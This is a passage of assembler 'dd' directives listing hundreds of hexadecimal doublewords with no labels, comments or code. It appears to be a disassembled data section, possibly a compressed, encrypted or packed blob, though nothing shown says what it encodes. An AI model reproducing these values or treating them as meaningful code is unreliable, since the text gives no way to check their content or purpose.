86FF31E1h dd 5FF92903h, 21DF0412h, 0BF534597h, 4FFC5880h, 0B7CB0081h dd 0C1557207h, 12DC06EBh, 0CF0041Fh, 2439FBC3h, 3290BE0h dd 0E071BF4h, 13BB180Eh, 0DF01650Dh, 0E9F9C402h, 28114848h dd 905B0E2h, 0D030584Bh, 4FB82A89h, 0E7C098E9h, 0E503BA2Dh dd 109BA005h, 0A510073h, 0E281DAF7h, 0D62472BEh, 0FB01797Eh dd 4A2BB542h, 321260h, 0F735B32Dh, 0F5814DD5h, 0F85AE00Ch dd 0FF252CD3h, 0ED0159C0h, 840C2F9h, 5CD0295Dh, 503C75Ah dd 628545E0h, 5E4200ADh, 1C9AEB81h, 68077804h, 918C694Fh dd 1E200B8h, 1035181Eh, 2B759575h, 710A8600h, 0E9C32913h dd 0DF565209h, 3D4CBB10h, 3C44CF66h, 0FF14C932h, 1E8EB11Ch dd 0C2E0D2E1h, 0AF693189h, 0C00E3576h, 0EB2580CBh, 9D422DAh dd 435A0259h, 4A03D987h, 7A4802EFh, 0AB6212DAh, 8C7DD00h dd 2060740Dh, 4896CF0Ch, 0FB291CFDh, 1209E65Fh, 0CAD2849Ah dd 375724ECh, 0FFEF8350h, 982596A5h, 3934CAEEh, 330ED09Dh dd 40D37218h, 25445E0Ch, 94010C21h, 0E92248C6h, 0FDB0073Dh dd 7A89A4B3h, 0D12902F1h, 28A7E95Ah, 0AAB28F79h, 0FB09CB83h dd 0E8FFC25Dh, 50424A5Ch, 3F2F1D1h, 74F83512h, 4610D731h dd 33242791h, 6ED3D3Eh, 4D30390Dh, 258848D0h, 540A1006h dd 491905Dh, 62C51BC0h, 0BD098343h, 0DD010F03h, 345190E9h dd 161C5932h, 20616585h, 0F078EFC8h, 0E9813200h, 0E66D988Eh dd 59CF0401h, 0C05FF831h, 457FE226h, 0DDE92F12h, 0C5640D84h dd 36EF64C1h, 53801428h, 41D46850h, 58003B72h, 0E62DD0F7h dd 40FE873h, 7033CD25h, 55298374h, 0EAC1A513h, 0EFCACE00h dd 9065A306h, 6772DEAFh, 19C9BD1Bh, 9E553C34h, 465B7F09h dd 0B449F20Fh, 0DC801F3Eh, 7EF1C568h, 0A86081F6h, 80443805h dd 154A13EFh, 1061FB09h, 529FAA36h, 0E9384251h, 94E52E0Ch dd 3388C018h, 51C38250h, 322201B9h, 145990CFh, 966AF342h dd 0D4693A06h, 2EBD0914h, 5A80179Ah, 55535FFDh, 1374C2A0h dd 31479D0Ch, 51589A44h, 7970E58Bh, 423A33E9h, 20796CDBh dd 0E912A14Fh, 0FBFCAA00h, 0B9FE316Fh, 37659209h, 38148228h dd 62B0DA65h, 9A5DBE68h, 1AAE2088h, 4FB2879Eh, 43B87951h dd 51031BF8h, 0A7345BEEh, 2C80279h, 0D374F36h, 0F32CDC0h dd 2BEB3500h, 0D8F71090h, 0A18A0005h, 0C601B459h, 5EF60958h dd 0C70741B0h, 0BA65F9FDh, 74C1FEA5h, 660017C6h, 491DB252h dd 5A93D388h, 1C5F460Eh, 0E98FE9CCh, 0F9709BEh, 0EA0014CBh dd 40025198h, 57BAE974h, 0F50B5BB4h, 0E440A215h, 7EAA661Bh dd 0F2B72454h, 2CC7982Bh, 0F78029F6h, 8021B8D9h, 3FAC2B80h dd 0D590BC3Fh, 265A2E30h, 581E9A24h, 1A4DCEC9h, 91E6C594h dd 0EF5A2483h, 0B54ACF01h, 1860F75Ch, 0F9309E3h, 0E8007A28h dd 713C3B8Bh, 83FBE913h, 54504560h, 5D2A9058h, 0B428113Ah dd 0F10D2685h, 90DEA2DFh, 0AEC09EF3h, 1DCF00BDh, 0E8015898h dd 16E26812h, 82BB0332h, 0F045E90Fh, 53590746h, 0E78076B7h dd 26F73002h, 5B73F830h, 4A6EC649h, 35E9E928h, 0A18AD2B3h dd 6167E088h, 454B8C9Eh, 2EE91FBFh, 8ACA414h, 77203D75h dd 0F26A682Ah, 0FE691DFCh, 99804828h, 775BC52Bh, 0B4C98028h dd 5701CE4Fh, 0E906E5C1h, 22836013h, 0C8288B2Ch, 227825C9h dd 2A5590DDh, 1E90EB86h, 0A2B0C05h, 6BA45D09h, 6E0E0C7Bh dd 41B25B11h, 61CEAEA9h, 0D73B40E9h, 1F5B3302h, 22688102h dd 3ADCCC03h, 0F2123B3Eh dd 0E97D0329h, 20167C83h, 0A80BCC88h, 9455A8E2h, 4A4B5A93h dd 147A0453h, 94E131D8h, 0D6804D4h, 78EAA237h, 491F7709h dd 0F1A0024Ah, 14150A27h, 83059CC5h, 8B8702C2h, 6E285A41h dd 5DE76BE9h, 0B3682C92h, 7FC52030h, 87B26461h, 4E2000D3h dd 121C950h, 44E5EB78h, 886DC408h, 0B7BC5B30h, 0F8F0E962h dd 2059769Fh, 66176BA5h, 5D22BB0Fh, 0F6E46890h, 0F48007DCh dd 0C3E5882Ch, 182E4F52h, 62088009h, 0C505014Ah, 0D420970Ah dd 742F73AEh, 0A19BAA35h, 1452F409h, 0C2090F06h, 21B6E2D1h dd 82367A0Ah, 471E2BF1h, 0E8EDC17Ch, 0D729AA80h, 565FFA87h dd 5508BE09h, 2DDB0280h, 0D4BF005Dh, 260EEF1Ah, 6181D7F7h dd 390C2E8Dh, 0EF844521h, 0A65F5457h, 870644ADh, 1913C52h dd 65316855h, 0C3921956h, 819D40CCh, 0D12824C2h, 0FA015C00h dd 315A0A33h, 0C1EEA14Fh, 20952AEAh, 60EE58B5h, 9805AD90h dd 0A568B843h, 0F25D6974h, 62199A2Dh, 0DFBE5A14h, 53F15307h dd 0DD9D0CA0h, 6BF653A4h, 28023009h, 7E0A095Bh, 0F71914E0h dd 0C2910D33h, 8067446h, 1D5F38E9h, 2CBE8855h, 4494BF00h dd 814ABBh, 122556CFh, 7E7C127h, 0B03E290h, 31691AC2h dd 0E9A516FBh, 0B36A8528h, 938C6042h, 9016E079h, 2A66025Eh dd 0B2E93A9Bh, 0F3902758h, 85825F59h, 0CC260C87h, 6E1F7134h dd 0E8C9D85Dh, 2966EB03h, 0E9C1A0E5h, 40B8574Dh, 24BCF444h dd 46B96806h, 12CC30E5h, 111EF0D9h, 0DA4F5930h, 40377828h dd 7480031Dh, 44BB5CF7h, 5026964Ch, 47EE12F7h, 0D402C7F2h dd 5ABBD07Eh, 189CBA52h, 839AD347h, 6F256616h, 0D14F82h dd 2D89685Ch, 0AFBB0CB1h, 244E1EE3h, 45CC315Ch, 817AA03Fh dd 0CCE4F101h, 0CF89AF52h, 0E9C2AE38h, 20023E5Bh, 8504C5E8h dd 52114768h, 4688D83Eh, 39A4D0B2h, 0D1A2ADB2h, 5C4C9DBEh dd 0A3F2085h, 0C92573B9h, 20E61F98h, 11665B27h, 0A917020Eh dd 31E40A02h, 0BAB83FE3h, 45F704AFh, 6C5708A0h, 55C38B3Bh dd 82208653h, 0F95C52BDh, 21E79829h, 2DFAACBFh, 6214F731h dd 58C21FC4h, 81DF0AEh, 30DDACF9h, 0E9105418h, 51719AB6h dd 0D2289C33h, 0D4EC0C6Bh, 2BE76818h, 8262F35Bh, 84AA740h dd 0B4D02180h, 0C10441AFh, 0A75E9AE8h, 9A16812Dh, 3C60DF5Eh dd 8078402Bh, 0CBE04CECh, 0E087594Ah, 4CC5C9E6h, 2047D5Dh dd 821F5A5Bh, 100EDF7h, 52575EF2h, 8100AABFh, 0BC30B2EAh dd 0AF4BE91Eh, 0F7456580h, 5F63F0D5h, 61D741C8h, 38ABB8C0h dd 697851ECh, 480C6BB6h, 5E1BE9C2h, 0A203240Bh, 169597Eh dd 20053179h, 0F221E3C1h, 625ADCCh, 42E92DFFh, 5B4C3A77h dd 0DE3C9FF8h, 81D19824h, 0F3053C25h, 7FEB02B1h, 8C60EE40h dd 0E7DFCFFh, 6865C136h, 0BDED8CF7h, 2D0A0200h, 0E9EE01FBh dd 0E20F95C6h, 2538E2ECh, 2101B698h, 6B41CE81h, 0EED87379h dd 0C6F6861h, 70F760A1h, 53027850h, 0AF8F0DBBh, 0EA858B87h dd 0F2C084B4h, 0A943B512h, 9AE3B60h, 13848A97h, 68094DA2h dd 514476DEh, 4AC92E9Eh, 19F34C46h, 6CD651E9h, 33109231h dd 0D78CB357h, 2AEC9359h, 0C2262690h, 21F48878h, 201C6188h dd 0C2DE0CEh, 0DBF75292h, 4905F310h, 0ECE96676h, 51572590h dd 4BBA3FB9h, 0CA206A25h, 8BD94DBEh, 0EC4AE790h, 0E509CD89h dd 30669EA8h, 0C81C8BFh, 2768CE45h, 0A451F9D0h, 0D9DA122Eh dd 4D3A2611h, 89605D19h, 73050C8h, 7C16BABBh, 0B899A438h dd 88765888h, 0C070E35Ah, 10256A43h, 8B1416B7h, 116361Ch dd 4B5F8AD7h, 85E016h, 0E98CD185h, 0C08D2D3h, 0AD653ECBh dd 21DB6811h, 3845CB10h, 0F86BF741h, 40A84A73h, 52888F4Eh dd 0E90878C6h, 0C006146Ah, 20606E0h, 80AE3408h, 0BCF8C4C2h dd 581AEA75h, 0F1FD64E9h, 948EB52Ch, 4812C0E9h, 1C4CEC5Dh dd 0DA5113C5h, 581620A6h, 0DC2D2118h, 918906BFh, 215013EAh dd 157ADB3h, 0D452FB01h, 7194B25Fh, 0B85ECC8Fh, 9B3C5D77h dd 0E9C50B7Bh, 0F642A02Eh, 63F780D7h, 42EF0BDEh, 0E9300605h dd 0A34C257Ch, 9E5F9990h, 620CD9EFh, 0AE532653h, 3D271502h dd 247F7812h, 0C2C8362Eh, 8CC55451h, 881FCAA8h, 0F740036Eh dd 53E948D0h, 0A087B1DDh, 0CF217FBAh, 4EB5E2Eh, 0E82672A8h dd 4DE989B2h, 4FB93E40h, 43802403h, 251BD55h, 5DEF890Dh dd 21BBCF29h, 3E61C601h, 0D001114Fh, 9ADE2770h, 4A20F16Dh dd 0F5B2A68h, 43792A93h, 5EF72CCFh, 8857C4CFh, 5C895F8Dh dd 34E9C630h, 80CB6FBCh, 0D45F8550h, 21287273h, 0C307EEFBh dd 0CF83BC80h, 43BDD894h, 12C3684Ch, 0D093C831h, 851C2A3h dd 0B50B2B7Ah, 0B898A329h, 0B4896124h, 38081668h, 1DBA8DDDh dd 7B8EC288h, 49FA310Eh, 0BC4128D7h, 81E38B66h, 44E051F2h dd 9EBCBA13h, 10B94259h, 7F8F40E8h, 1831E83Dh, 0EE812B37h dd 0EE584C5Dh, 80601C1Ch, 5BDE29AAh, 6A54EDE9h, 0C09E5985h dd 764CC2h, 61B35350h, 6E5B038h, 0C8FE5BD8h, 8463314h dd 0E9D9F610h, 24757874h, 0C83D0F40h, 589DC206h, 20B74411h dd 8160BE25h, 0BC20E4BCh, 50C2B030h, 265F07F3h, 0CF51D831h dd 6468C301h, 48253357h, 4ABD20C8h, 52961E5Eh, 8A9BC596h dd 47D992D9h, 0FD2002EAh, 0C0000466h, 0D2F603EAh, 71CB551h dd 0E580C5FEh, 82AE3EDEh, 900EF5C7h, 0EA307BEDh, 0E204597Fh dd 723AE9A6h, 56479488h, 6609851Ah, 5CF2D259h, 0BCC19F6Bh dd 49E92633h, 3A6880FFh, 5D6DEF21h, 1945548h, 1D787B0Fh dd 2645401h, 2212905Eh, 521B1938h, 0AFC8AEB2h, 0A83E0A39h dd 8835ED0Ah, 58350493h, 68098BF6h, 974433B3h, 7C2DE91Bh dd 6187B8CFh, 99AD58C3h, 0F4638C04h, 10BCC746h, 0E903A911h dd 4040F524h, 0FB68C282h, 83567972h, 3CE36473h, 0A3E91E1Ah dd 0D362645Bh, 68390292h, 83A2071Bh, 0CA0A6FB6h, 0CFB90E28h dd 0E025E623h, 3F78BCDEh, 0C6023D1Bh, 38A46CD8h, 9E3D3751h dd 915C50C9h, 3E1C1C7h, 5237619Eh, 680014F8h, 657FDE04h dd 8407E627h, 0EB8046B8h, 5CE40369h, 0CE0FA461h, 2901927Ah dd 345FE9C6h, 0CF0788D8h, 0BA685859h, 623CBDECh, 1661CF0h dd 34F29741h, 4E6C5A8Fh, 10A505Fh, 10330BBh, 61835EF5h dd 4BBD3695h, 277DD1D1h, 0DCF18801h, 0D7D85F14h, 3901C92Ah dd 2CEF6BC6h, 0C10AEA5Ch, 80CEFC0h, 0BEEBF668h, 46F5B7FFh dd 0E9121129h, 4B5DBCC0h, 0CB1289Fh, 6A90A6B7h, 7F814E11h dd 303B0F65h, 5021D9CAh, 102C194Ch, 29130C31h, 4CA803D3h dd 0BC12B544h, 0D178E082h, 0C90EBC57h, 0F38AA3E5h, 0D0C0F762h dd 4FA59136h, 0C26BC001h, 993C0F0Dh, 3CCAAC51h, 0C87DD903h dd 63F5F217h, 2946E8F6h, 405D58EAh, 3F491EB5h, 0D335B81Ch dd 0BBEE0873h, 880E8624h, 0E6DC4CD3h, 35526728h, 4B168EFAh dd 0F248C056h, 71EF03F7h, 2A72EDBAh, 98B97E14h, 32B2696h dd 0D5F760C8h, 948CE953h, 0DF97F9F4h, 0FC824652h, 0C1A67E5Fh dd 782C8BEFh, 5A83B3A1h, 681C900Ch, 9AA679D1h, 4DF6E926h dd 208A419Fh, 14C0A846h, 174B8D16h, 8A090FE9h, 0B4C260EBh dd 30CCFE8Ah, 0BA3F7EE9h, 0C0E2AD7h, 42BF57AFh, 786AE25Ch dd 0D6292420h, 280B2071h, 0B0D6315Ah, 21505B14h, 0E9DFF63Dh dd 267CE4h, 0F281425Bh, 25FF5DD0h, 7B40017Bh, 6BBB2E4Ah dd 2C6E983Ch, 0E98F2A9h, 0C149E20Dh, 44860669h, 2CDC6336h dd 0C61711A4h, 3F907E67h dd 6B2D4003h, 1EC00B5Ah, 8692AFE9h, 0B5B4BCC7h, 0F189D880h dd 72345E8Bh, 0DDE87E32h, 1307EE80h, 7AB05066h, 1A45D0C3h dd 824C31CFh, 85B93A96h, 0ABE95282h, 818B983Fh, 37B004F6h dd 0B55F5DBFh, 14B6528h, 0A5BA7BA2h, 0F6322EA6h, 1C68BE80h dd 0FB329553h, 5CF1405Ch, 740B7070h, 61709631h, 631BAF68h dd 11C25806h, 0A03C7684h, 0C57374DBh, 0CD54320Ch, 5764DC59h dd 33335DF7h, 17169BC3h, 2B01D9F7h, 8235C3A3h, 4EDEFD8h dd 122EC4Dh, 51DC4CFh, 0E054E908h, 0F83C2928h, 0A41C2D5Fh dd 42ADC3BFh, 0F01D0F48h, 0C059828h, 85123A06h, 0FB50295Eh dd 17F4208h, 21B56850h, 5A2D0D9Dh, 141FB084h, 20F410DFh dd 2D36015Fh, 0BFB198DEh, 0DA55A6D9h, 3D68AD82h, 0EEB84C30h dd 76D92413h, 0B346136Dh, 0D15812ABh, 0F110E2CAh, 4DA594Ch dd 43AC28ADh, 0DCCE7582h, 0BE0F7084h, 0EF68C809h, 8D70D952h dd 9232B95Eh, 60B31C1Ah, 7C4104D2h, 0C8210728h, 5E714372h dd 0B65270D1h, 7D824648h, 79E1E918h, 1E4EF29h, 5B6D6F04h dd 960BC568h, 849D5CDh, 8F6089D1h, 171BA332h, 2006F3C1h dd 0D4A0C820h, 0AB1F5FD9h, 36894061h, 7964C46Ch, 0B394B56h dd 85205312h, 0A967B45h, 82BF1E9Dh, 7C658D9h, 0C780ACB7h dd 6AEF336Fh, 1075CF83h, 8843DE83h, 0D4F988FAh, 0A9A1FF74h dd 14CA7D8h, 3359F32Fh, 0CBD851C9h, 0A95B1380h, 69DE0071h dd 0E90C5220h, 7F098459h, 6F4C633h, 0EAF0837Dh, 21247E7Fh dd 0BB5360AFh, 0B42766EDh, 0F742C05Eh, 50ACFD3h, 0B807EB04h dd 5893BE5h, 17E997AFh, 1E2FA1F1h, 5C2F0991h, 6AF8D010h dd 0B10EC524h, 0FE3BF202h, 8E88E27Dh, 4C0808Dh, 0B829F4EFh dd 0D1473B68h, 0F77D4FDEh, 150B55C2h, 68C2F062h, 87BC014Bh dd 1CD280D8h, 95A51B43h, 0AF24D5A0h, 0C1810B41h, 3798587Dh dd 9C654EEDh, 2055686Ah, 0BE454760h, 4C7F5F33h, 5501E654h dd 89B5FAAEh, 0DFE520F3h, 2130CFB0h, 67EA5175h, 6D021244h dd 9F116C1h, 60162821h, 3054C7A1h, 669E42A9h, 0FC0CB820h dd 0DC0C9D43h, 0E405015Bh, 0E91EE523h, 494A787Ah, 4C6DC40Ah dd 0E65A6FC8h, 5F08481Bh, 492E1200h, 4ED72D0Ch, 0D5FEE00h dd 1DB33CFAh, 50D827F7h, 2058EF61h, 0CD4D7B70h, 494148EAh dd 0A8169394h, 4BE97B8Ch, 66F501AEh, 0E41B79BBh, 0D5C90D8Ah dd 0FEF304E1h, 0CDB65F0Eh, 2951F4EFh, 5B6B8C96h, 7C59A87Eh dd 40282478h, 47C21D2Ch, 6A297A0Fh, 180820D4h, 96F3015Dh dd 1A1A5E34h, 0FA43686Fh, 339C0501h, 0D2293D5Bh, 0AA32CEBh dd 0F78A475Fh, 5132FEC0h, 0A713E9D6h, 40921FF2h, 9CC13868h dd 0B655FEE9h, 54D424C1h, 2C5ADAF4h, 0D8047177h, 0FE02F2B8h dd 3C38E9C2h, 0A8E290A4h, 0C83CD03h, 4F1536Ah, 0C1310C86h dd 166349Dh, 953548E9h, 0D5D63D7Ah, 3A133A03h, 1117511Fh dd 605E12B0h, 0BA52D489h, 0DC3F3C16h, 2171AC08h, 54746881h dd 37343372h, 728DBE53h, 0E9506E54h, 62C76B76h, 0E3EC4B16h dd 0D071E209h, 0B37DF064h, 39BE031Fh, 31B0BB23h, 745EE9F3h dd 586685C0h, 8BEB6F28h, 0D1B96C86h, 1E26D677h, 0DA952932h dd 0A45229B2h, 3512BF4Ah, 9253F5F6h, 40895C40h, 0B9AB5DC8h dd 89B8B5C9h, 2478F12h, 2CB60E83h, 11D20633h, 311B0100h dd 4625DFh, 0EED1D6F7h, 3267CE81h, 0C27CB26h, 24888D00h dd 0BCF78990h, 30430274h, 0CBCB294Bh, 16180650h, 94BEF482h dd 0C10077A0h, 37462D58h, 29143B6Ch, 3B0705C8h, 67F40759h dd 0D8D32848h, 0C4F44A56h, 1699E883h, 4209B48Eh, 146C0401h dd 967D97B1h, 0DC5AD685h, 0E92FCE95h, 685D803Dh, 2F162DBEh dd 4700596Eh, 489C4BF1h, 0CD89D31Eh, 6A0DE9C4h, 0BF0263F2h dd 60977B8Ah, 30445D60h, 947D8F28h, 83575B27h, 0F9144BBAh dd 0F2E15A26h, 0B1A80744h, 498009D2h, 969F114Eh, 0B2B8A102h dd 0B486639h, 7BD70E5Eh, 0A21403E5h, 2DAD035Fh, 12ED0807h dd 0C91BD616h, 673767E9h, 0A219E9AAh, 445659F6h, 315E6922h dd 0DBD179E2h, 0FD142993h, 0AA00397h, 0B0013C8Eh, 0B5F0E950h dd 0E6F2B48Fh, 75629737h, 0B0557947h, 0A47357CEh, 0F0264579h dd 5200D65Eh, 0A220DA68h, 935A5F29h, 5295A31Fh, 0EA2A7385h dd 0D6E2B3FDh, 135AB838h, 0A3365868h, 1911539Fh, 2605BDAh dd 0E92D7114h, 6A52351Ah, 694D635Eh, 782C9CB4h, 7FE0B0B4h dd 47937501h, 6C68FD5Bh, 0E9122B3Ch, 0F0B8A10Bh, 2507D0F7h dd 7FF86441h, 0BEB452D5h, 5EC0B8F1h, 681930F6h, 32BD51EAh dd 59FC5644h, 27E90CEEh, 0D8CCCB67h, 3AD51225h, 0A7E7C582h dd 2D5C9719h, 4E6882F1h, 0BD45A07Bh, 0B5EE4BA9h, 0BC548D8h dd 6382E831h, 62FD56C6h, 0E2784AE9h, 510A5C8Ch, 925A4F68h dd 17B77388h, 4E3B8B58h, 0B1484C8Dh, 5E06402Eh, 1C57091Fh dd 8F2FDDEAh, 6814106Fh, 0E3754450h, 0DF37C95Ch, 0D906933Ch dd 0DBE88F34h, 7A8EBF00h, 0EF811D7Dh, 0D10D8A6Bh, 3DF0C99Dh dd 0C7AC8758h, 0EA85D5F7h, 714391C2h, 0D8C62F41h, 0E96156BEh dd 9F7313B4h, 92F9341h, 0F3EEEF1Bh, 47412DF6h, 9DC0D434h dd 60702E0Dh, 770CF0D2h, 0E4244C7h, 13A876B8h, 8010E9A7h dd 454D35ACh, 31143803h, 0F25558C6h, 2CA250D5h, 0BE8A5C29h dd 0C09A787Bh, 1CD4B869h, 25021E47h, 175610CEh, 0E9644048h dd 41DE4BD1h, 0AD3587Eh, 0A2003A5Fh, 9F3889E7h, 0FEA2A066h dd 640C3D1Fh, 2D808575h, 4484354Fh, 720A25E9h, 0F4E2AF9Bh dd 47DC0500h, 5D6E17E4h, 0E9F7B429h, 0F3171D4Eh, 83F7E1DDh dd 0BA1A0323h, 3C445F7Ch, 89CFCBD1h, 181008B1h, 0FE535512h dd 0C93B4A09h, 36830125h, 0E8CD5D38h, 44C0FCBDh, 0F280ADB2h dd 0D328251Ch, 0E912D8C6h, 0B39040B8h, 3151D2Ah, 79650528h dd 3AA833D8h, 6A13E473h, 57846BE9h, 22DE6E0h, 497F3717h dd 0A4C3C801h, 56E8A7CCh, 0EE027C24h, 48A0FDE5h, 2F36E456h dd 991429DDh, 40061444h, 1F0AB8B2h, 0A8021061h, 0D8215807h dd 0A7F046F2h, 8760C0B8h, 4978683Bh, 0C3133F70h, 0C25034D2h dd 0D8A7AB9Eh, 431A01BBh, 95003F0Eh, 59D4BCEBh, 0C5E94CAAh dd 1833895Fh, 0FCFC5EFDh, 0CBD36C4Ch, 250C0757h, 2623212h dd 674103EAh, 39213B01h, 32C9DACEh, 4F9A096Fh, 0C0833A05h dd 621B68E1h, 8765B9BCh, 1282AE95h, 266AC07Ch, 108F8C1h dd 18F2BD55h, 2A315469h, 14600ED9h, 0D66217D5h, 0DE380056h dd 1FD6646h, 0CF5AD128h, 0E22D4693h, 1207F37Fh, 795CE234h dd 0E69E68F5h, 3302440Ch, 63134CDh, 0B45C0D92h, 54485650h dd 5A73867Ah, 76ED5A3Dh, 6817793Eh, 6A6545E6h, 0E51096F2h dd 1A5B2D15h, 7EA7421Eh, 0E81C254Eh, 9D68533Ah, 0E909E83Bh dd 0BB3FC197h, 2C222051h, 0F64C217Bh, 0C9822BE1h, 2204C4CCh dd 0F23C60EAh, 0C22C165Eh, 2C7F621h, 0D2888314h, 1EED8B05h dd 0CF0B090Bh, 1DC5024h, 0B1516658h, 20CA30F0h, 0E9E8FE6Eh dd 5AA85DE8h, 9274A68h, 0E922C881h, 62F3BAACh, 4DCF7C50h dd 0BFB2BC55h, 0AF0F7510h, 0F02CE495h, 9F4082B0h, 2A04E6BDh dd 0DDF74CAAh, 0BFA089A8h, 99164E55h, 62832170h, 0ADB7E482h dd 403A984Bh, 0C1ADC640h, 0EE37E760h, 70864748h, 2920D91Ah dd 507B4B0h, 79044E86h, 822DD882h, 54C1E907h, 799925C3h dd 482405F8h, 78E59192h, 15BF8CF7h, 6134BA68h, 0E925605Eh dd 0AF93498Ch, 3CEF5508h dd 0D7C63027h, 0AF6BD2FAh, 8091Ah, 0A9469D54h, 69527E6Fh dd 0F310A332h, 57C90A87h, 0B0CFF0DEh, 651209D1h, 2788F301h dd 0C95E1208h, 94FA04DFh, 0F64C147h, 0FD719FF2h, 53DDD05Bh dd 80D7C4C6h, 6F3D2704h, 15D4CDA0h, 5996B5B6h, 3A2FD85h dd 0B3250794h, 8560C569h, 718468E5h, 60E25C8Dh, 9B620A8Bh dd 0C8822713h, 3FE48751h, 1E52C059h, 0BB84D8F6h, 44C4C228h dd 407836E1h, 94964978h, 0C404674Bh, 14D6BC33h, 1081F129h dd 8101B4BCh, 747509F6h, 0E5A490F7h, 716513Bh, 12109E53h dd 5BDD3ABBh, 82C37A30h, 333F1940h, 2973E20Fh, 0A4CEA9F9h dd 26A0D1DFh, 0EB0514EEh, 172AF221h, 0BFFB4889h, 954E502Dh dd 0C1AD0C92h, 661FE8A5h, 237C8949h, 0B9563E46h, 0F01AEBB7h dd 0CE292414h, 33072749h, 34A2895Bh, 6801EC54h, 0FB63267Ah dd 50CA880Eh, 0BB6D06Eh, 0A1105A81h, 1494D41Dh, 0B29C0B4Fh dd 5F16C0D1h, 0A18DB467h, 28889F94h, 300D710Bh, 90C4A43h dd 77098EE3h, 0AF5AD631h, 85C18080h, 0B0591D74h, 0A2E9F02Bh dd 1527C208h, 0CA688590h, 0BA68403Bh, 4B6D0FBDh, 44F28103h dd 0B712C22Fh, 0A9060333h, 0D261E90Bh, 3EAD442Bh, 0FB11701h dd 0B802E3CCh, 7C6F09F8h, 0FF5413B3h, 2F07F713h, 15276123h dd 0CC480F50h, 0A35020Eh, 21744BFEh, 52A9F8Ah, 0BC766486h dd 78C23B8Fh, 32059601h, 15C2707h, 15074AA0h, 9C2F47E9h dd 9769C618h, 0F1B8EB89h, 939DCB49h, 1E25DE01h, 1C85316Ah dd 0D24499E9h, 5E6468B1h, 0B312A0B0h, 0AE0AA56Ch, 0F3A8E201h dd 293ED0Ah, 0AB00A639h, 0E944CA73h, 8D2D4AAEh, 0C3C92A1Dh dd 9F63E90h, 7923B568h, 275A8C72h, 5501E111h, 71466850h dd 0D03C779Bh, 20BB2DC1h, 0A387D23Eh, 3E83006h, 84005C35h dd 0C58912EAh, 0B9E90158h, 5355608Bh, 5A00F6BBh, 0EBD4F68h dd 27B097A5h, 6B83A3E9h, 80B9FE30h, 17A336CCh, 8CB66451h dd 0CB75597Ah, 0B909DF6Fh, 14579842h, 25565B04h, 364E005Ah dd 14BCD34h, 41FCF148h, 78FC5108h, 0EAB734F5h, 67335D78h dd 0FAE18DC3h, 12F75686h, 19C8A259h, 5414FA2Bh, 6063B730h dd 0ACEE6B37h, 24C566F3h, 68F92BD4h, 0ACBA1512h, 39A8D26Ch dd 7DF5A660h, 0CC901AA1h, 0D4251541h, 0A72817E1h, 3AC4E2Eh dd 66A61FAAh, 59071825h, 650C8B9Ah, 2F0926AAh, 0B2254164h dd 0A11CD9E4h, 0C33F3C88h, 0A4C3E5A6h, 8DC88Eh, 726F5A07h dd 0C169E1E9h, 0A6397122h, 0A3F6E6EFh, 17FEB97Ch, 3EF7587Ah dd 26CA1414h, 0C7A3FE94h, 142D8226h, 2043904Ch, 5E504270h dd 3340BB9Fh, 0E8119A66h, 5A4E3C68h, 0E1118934h, 0D233F171h dd 0F9520891h, 5A0D84F7h, 0B9D4F2E9h, 68A0A4F8h, 0E9806907h dd 0CD1C5ED7h, 8C92937Bh, 72F9B185h, 4FADB792h, 8CAC7DD4h dd 449568E0h, 8F7C1E28h, 0B50F20h, 52E3EE80h, 0F028A6B6h dd 0F263A8CBh, 0A9DE5DA1h, 80C94A7Ah, 0B6850FD0h, 168C509Ch dd 621DB73Eh, 184D15C6h, 0DA6805FCh, 531F7601h, 22715941h dd 0EC5BD664h, 80085443h, 8794DD7h, 50AE1B86h, 8D145D5Fh dd 1EC207DEh, 0FCF6639Ch, 30FF3BDBh, 5BAB4896h, 0E3F984EDh dd 3F5232D1h, 49B68F6Bh, 1E569F89h, 0C780EF80h, 9A119006h dd 8A594ACCh, 0FF2669h, 4EC4E48Dh, 0B45C642Eh, 6945E388h dd 0C3F83DA5h, 5AD58912h, 64B6303h, 0E1318A1Fh, 328EDA0h dd 0F74B454Ch, 205CC5C4h, 412E89C8h, 385283D9h, 0DA3F2C50h dd 724D6A05h, 68590BE4h, 28440830h, 614A8CF0h, 96539FC8h dd 56E4622Eh, 0F20B975Ah, 0FF03A58h, 6136A9EFh, 6489BE2Ah dd 0B47C6797h, 0C8615080h, 54FDE916h, 14F5A64Bh, 0EFEA28C2h dd 86BBB924h, 690CDF68h, 860B874Fh, 5BDE4BBh, 945BA4C3h dd 38A2153Ch, 60E9CD4Fh, 0EEBCE7C4h, 4E42A2A7h, 6443073Ch dd 5223F0A0h, 8021B20Eh, 0D2F623EAh, 0DA0809D0h, 4274D8E9h dd 48E1427h, 685BDE01h, 0DE24F8DDh, 0B50E1E0Ch, 35AE402Dh dd 0F75FF109h, 0F857A359h, 0BEE116C1h, 0BF309C7Fh, 2EF6697h dd 5BFB49ABh, 4643FE01h, 639354A0h, 0E5014D7Fh, 76F44291h dd 2B38C3E9h, 0A843661Ch, 0B8647D8Eh, 70B4F6h, 902047C7h dd 6A587912h, 100779DBh, 4F2914E6h, 552FE9D1h, 0AA000132h dd 0C148F23Ah, 0EEE602E6h, 0D4C0074Bh, 7954174Ah, 11E925D1h dd 2968D581h, 92866D18h, 0BB0059B3h, 45DF2E1Ah, 7B0BCB81h dd 4758807h, 61AE2D2Ah, 431BE13h, 4448A5B8h, 11DBE9E0h dd 8DB036A6h, 90A3C00h, 5E0D121h, 0EDEB288Ch, 0FEC55997h dd 82CAE292h, 77B7CFE9h, 20504711h, 0A9404196h, 0D3FA5C01h dd 0A4BC885Bh, 9A2483BCh, 280DCD20h, 0BCCF2976h, 5F2E883Ch dd 430300D8h, 872EF381h, 31888001h, 0C8215BD9h, 89E12C7Fh dd 0F489595Ah, 0F39875C6h, 6955D368h, 84D00079h, 0EFB0D964h dd 0C201352Ah, 4FC403B0h, 0D9102F8Eh, 0DC661801h, 0E0D6F730h dd 101ACEE6h, 71041BAh, 61BE06ECh, 96E7D98Dh, 2E3852Bh dd 54333C34h, 26575EC0h, 5BF94082h, 182B1E3h, 5E3F30C8h dd 0DFDAF346h, 99C98BA0h, 695F6717h, 0B103EA1Eh, 0F1337765h dd 0D560B5F1h, 0C3E197B3h, 5C4C0253h, 0FDE7899Dh, 0EB7FEE46h dd 78DBDDC1h, 282E0B45h, 0A6FE57B9h, 2E00F00h, 0E9FB315Fh dd 0BA85A869h, 167D384Ch, 0A62195DAh, 50BA1306h, 0A040A53Dh dd 90FA7E74h, 0B4BD2A8Dh, 478B9D4Ch, 9B20117Bh, 166F94BDh dd 0F0AEE95Ch, 380025F7h, 2D6DE874h, 4CFEF539h, 0AE2E75BFh dd 243C44A5h, 29F62ABh, 